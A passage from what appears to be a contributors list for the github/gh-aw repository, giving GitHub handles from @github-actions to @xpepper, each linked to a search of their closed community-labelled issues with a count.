[@github-actions (11)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Agithub-actions)
[@github-antoine-brechon (4)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Agithub-antoine-brechon)
[@GKersten (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AGKersten)
[@glitch-ux (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aglitch-ux)
[@golivax (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Agolivax)
[@grahame-white (9)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Agrahame-white)
[@graphaelli (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Agraphaelli)
[@GregoireW (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AGregoireW)
[@gregsmi (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Agregsmi)
[@h-no (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ah-no)
[@h3y6e (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ah3y6e)
[@haavamoa (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ahaavamoa)
[@haolpku (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ahaolpku)
[@HardMax71 (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AHardMax71)
[@harrisoncramer (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aharrisoncramer)
[@heaversm (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aheaversm)
[@heiskr (9)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aheiskr)
[@hermanho (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ahermanho)
[@holwerda (3)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aholwerda)
[@hpsin (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ahpsin)
[@hrishikeshathalye (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ahrishikeshathalye)
[@ianreay (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aianreay)
[@IEvangelist (14)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AIEvangelist)
[@ilja (5)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ailja)
[@Infinnerty (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AInfinnerty)
[@insop (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ainsop)
[@ivancea (9)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aivancea)
[@j-srodka (6)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aj-srodka)
[@JaganGopalkrish (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AJaganGopalkrish)
[@jamesadevine (4)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ajamesadevine)
[@JamesNK (4)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AJamesNK)
[@JanKrivanek (4)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AJanKrivanek)
[@jaroslawgajewski (29)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ajaroslawgajewski)
[@JasonYeMSFT (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AJasonYeMSFT)
[@Jasper13006 (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AJasper13006)
[@jbaruch (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ajbaruch)
[@jcooklin (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ajcooklin)
[@jeffhandley (12)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ajeffhandley)
[@jeremiah-snee-openx (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ajeremiah-snee-openx)
[@jfomhover (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ajfomhover)
[@jhamon (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ajhamon)
[@jiec-msft (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ajiec-msft)
[@jitran (5)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ajitran)
[@JKamsker (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AJKamsker)
[@joesturge (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ajoesturge)
[@johndowns (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ajohndowns)
[@johnpreed (5)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ajohnpreed)
[@johnwilliams-12 (11)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ajohnwilliams-12)
[@jonas-harmoney (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ajonas-harmoney)
[@jonathanpeppers (5)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ajonathanpeppers)
[@joperezr (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ajoperezr)
[@JoshGreenslade (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AJoshGreenslade)
[@joshjohanning (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ajoshjohanning)
[@joshuadavidson (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ajoshuadavidson)
[@jsalmassy (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ajsalmassy)
[@jsoref (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ajsoref)
[@jsquire (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ajsquire)
[@jtracey93 (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ajtracey93)
[@kaovilai (4)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Akaovilai)
[@karl-petter-sj (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Akarl-petter-sj)
[@katriendg (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Akatriendg)
[@kbreit-insight (5)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Akbreit-insight)
[@KGoovaer (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AKGoovaer)
[@kkruel8100 (4)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Akkruel8100)
[@Knufle (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AKnufle)
[@Krzysztof-Cieslak (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AKrzysztof-Cieslak)
[@kthompson (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Akthompson)
[@kubaflo (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Akubaflo)
[@labudis (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Alabudis)
[@ladamski (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aladamski)
[@lecoursen (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Alecoursen)
[@lilseyi (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Alilseyi)
[@lindeberg (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Alindeberg)
[@lkraav (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Alkraav)
[@loganrosen (7)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aloganrosen)
[@look (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Alook)
[@lpcox (8)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Alpcox)
[@ludoviclafole (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aludoviclafole)
[@lukeed (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Alukeed)
[@lupinthe14th (3)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Alupinthe14th)
[@lw396 (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Alw396)
[@m-titov (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Am-titov)
[@maikelvdh (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Amaikelvdh)
[@mark-hingston (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Amark-hingston)
[@mason-tim (8)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Amason-tim)
[@massirr (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Amassirr)
[@matiloti (4)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Amatiloti)
[@mattcosta7 (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Amattcosta7)
[@MatthewBunker (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AMatthewBunker)
[@MatthewLabasan-NBCU (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AMatthewLabasan-NBCU)
[@MattSkala (7)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AMattSkala)
[@MauroDruwel (4)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AMauroDruwel)
[@maxbeizer (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Amaxbeizer)
[@maxknv (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Amaxknv)
[@mcantrell (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Amcantrell)
[@mdashrraf (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Amdashrraf)
[@MH0386 (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AMH0386)
[@mhavelock (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Amhavelock)
[@michen00 (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Amichen00)
[@microsasa (10)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Amicrosasa)
[@misrarim (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Amisrarim)
[@mlinksva (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Amlinksva)
[@mnkiefer (13)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Amnkiefer)
[@molson504x (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Amolson504x)
[@Mossaka (3)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AMossaka)
[@mrfelton (5)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Amrfelton)
[@mrjf (7)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Amrjf)
[@MrSanchez (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AMrSanchez)
[@mstrathman (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Amstrathman)
[@mthalman (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Amthalman)
[@mur6 (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Amur6)
[@Muradbarakat1986 (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AMuradbarakat1986)
[@mvdbos (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Amvdbos)
[@mwpastore (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Amwpastore)
[@NadyaDrozdova (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3ANadyaDrozdova)
[@nestele (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Anestele)
[@neta-vega (3)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aneta-vega)
[@NicoAvanzDev (3)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3ANicoAvanzDev)
[@NicolasRannou (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3ANicolasRannou)
[@nihal467 (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Anihal467)
[@Nikhil-Anand-DSG (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3ANikhil-Anand-DSG)
[@NikolajBjorner (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3ANikolajBjorner)
[@norrietaylor (11)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Anorrietaylor)
[@not-mksv (3)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Anot-mksv)
[@octatone (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aoctatone)
[@oscarvalenzuelab (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aoscarvalenzuelab)
[@PaulAylward2 (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3APaulAylward2)
[@peter-hendy (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Apeter-hendy)
[@petercort (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Apetercort)
[@pethers (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Apethers)
[@pgaskin (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Apgaskin)
[@pholleran (4)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Apholleran)
[@Phonesis (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3APhonesis)
[@Pierrci (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3APierrci)
[@plengauer (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aplengauer)
[@pmalarme (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Apmalarme)
[@polmichel (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Apolmichel)
[@ppusateri (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Appusateri)
[@praveenkuttappan (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Apraveenkuttappan)
[@prpercival (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aprpercival)
[@PureWeen (10)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3APureWeen)
[@qwert666 (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aqwert666)
[@r-garcia-de-oliveira (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ar-garcia-de-oliveira)
[@rabo-unumed (4)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Arabo-unumed)
[@racedale (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aracedale)
[@radiantspace (3)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aradiantspace)
[@rafael-unloan (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Arafael-unloan)
[@rbstp (5)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Arbstp)
[@reggie-k (4)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Areggie-k)
[@remypanicker (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aremypanicker)
[@rhardouin (4)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Arhardouin)
[@ricohomewood (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aricohomewood)
[@rmarinho (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Armarinho)
[@robertdewilde-dev (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Arobertdewilde-dev)
[@robinmam (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Arobinmam)
[@romainh-betclic (3)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aromainh-betclic)
[@rspurgeon (4)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Arspurgeon)
[@Rubyj (3)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3ARubyj)
[@ruokun-niu (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aruokun-niu)
[@ryckmansm (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aryckmansm)
[@salekseev (3)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Asalekseev)
[@salmanmkc (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Asalmanmkc)
[@samuelkahessay (30)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Asamuelkahessay)
[@samus-aran (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Asamus-aran)
[@SanthoshNandha (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3ASanthoshNandha)
[@sbodapati-gfm (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Asbodapati-gfm)
[@seangibeault (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aseangibeault)
[@sebastianbiallas (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Asebastianbiallas)
[@seesharprun (6)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aseesharprun)
[@sg650 (16)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Asg650)
[@shaeck (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ashaeck)
[@shawnHartsell (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AshawnHartsell)
[@Shazwazza (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AShazwazza)
[@shiran-gutsy (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ashiran-gutsy)
[@shubhamtanwar23 (3)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ashubhamtanwar23)
[@sigh71 (3)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Asigh71)
[@siyo-rms (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Asiyo-rms)
[@srgibbs99 (6)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Asrgibbs99)
[@ssulei7 (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Assulei7)
[@stacktick (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Astacktick)
[@stefankrzyz (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Astefankrzyz)
[@steliosfran (3)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Asteliosfran)
[@stephen2002119 (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Astephen2002119)
[@stephlocke (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Astephlocke)
[@straub (6)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Astraub)
[@strawgate (48)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Astrawgate)
[@susmahad (3)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Asusmahad)
[@swimmesberger (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aswimmesberger)
[@syarihu (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Asyarihu)
[@szabta89 (3)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aszabta89)
[@tadelesh (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Atadelesh)
[@talk2MeGooseman (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Atalk2MeGooseman)
[@Tarekchehahde (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3ATarekchehahde)
[@theletterf (26)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Atheletterf)
[@thi-feonir (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Athi-feonir)
[@timdittler (3)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Atimdittler)
[@tinytelly (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Atinytelly)
[@tobio (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Atobio)
[@tomasmed (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Atomasmed)
[@tomforsell525 (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Atomforsell525)
[@tore-unumed (16)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Atore-unumed)
[@trask (4)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Atrask)
[@tsm-harmoney (5)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Atsm-harmoney)
[@tspascoal (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Atspascoal)
[@tvu4-wowcorp (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Atvu4-wowcorp)
[@tylersmalley (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Atylersmalley)
[@UncleBats (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AUncleBats)
[@v1v (7)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Av1v)
[@verkyyi (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Averkyyi)
[@veverkap (3)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aveverkap)
[@ViktorHofer (3)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AViktorHofer)
[@virenpepper (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Avirenpepper)
[@vishalagrawal-jisr (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Avishalagrawal-jisr)
[@whoschek (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Awhoschek)
[@wizardofosmium (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Awizardofosmium)
[@wtgodbe (4)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Awtgodbe)
[@xirzec (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Axirzec)
[@xpepper (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Axpepper)
